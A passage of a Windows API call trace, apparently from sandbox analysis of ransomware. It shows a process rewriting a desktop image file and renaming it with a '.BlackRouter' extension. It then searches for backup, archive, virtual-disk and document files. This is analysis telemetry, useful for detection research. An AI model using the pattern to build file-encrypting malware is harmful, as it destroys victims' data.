lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png", lpFilePart=0x0) returned 0x39 [0039.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\e-fn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.796] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x378b [0039.796] ReadFile (in: hFile=0x25c, lpBuffer=0x295efe0, nNumberOfBytesToRead=0x378b, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x295efe0*, lpNumberOfBytesRead=0x1ae668*=0x378b, lpOverlapped=0x0) returned 1 [0039.798] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png", lpFilePart=0x0) returned 0x39 [0039.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\e-fn.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.800] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png", lpFilePart=0x0) returned 0x39 [0039.801] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png.BlackRouter", lpFilePart=0x0) returned 0x45 [0039.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae6a0) returned 1 [0039.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\e-fn.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e74dc0, ftCreationTime.dwHighDateTime=0x1d45f85, ftLastAccessTime.dwLowDateTime=0x293f5a00, ftLastAccessTime.dwHighDateTime=0x1d458f0, ftLastWriteTime.dwLowDateTime=0xbe3b3910, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3790)) returned 1 [0039.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae660) returned 1 [0039.801] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\e-fn.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\E-fn.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\e-fn.png.blackrouter")) returned 1 [0039.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.802] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.802] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.802] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.bmp", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.802] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.802] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.802] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.jpg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.803] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.803] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.803] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.jpeg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.803] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.803] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.803] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.iso", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.804] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.804] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.804] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.backup", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.804] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.804] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.804] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.zip", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.804] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.rar", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.tgz", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.805] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.805] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.tar", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.bak", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.806] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.806] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ARC", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.807] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.vmdk", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.807] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.vdi", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.807] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sldm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sldx", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.808] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sti", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.809] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.809] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.809] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sxi", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.809] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.809] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.809] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.dwg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.809] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.810] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pdf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.810] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.wk1", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.810] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 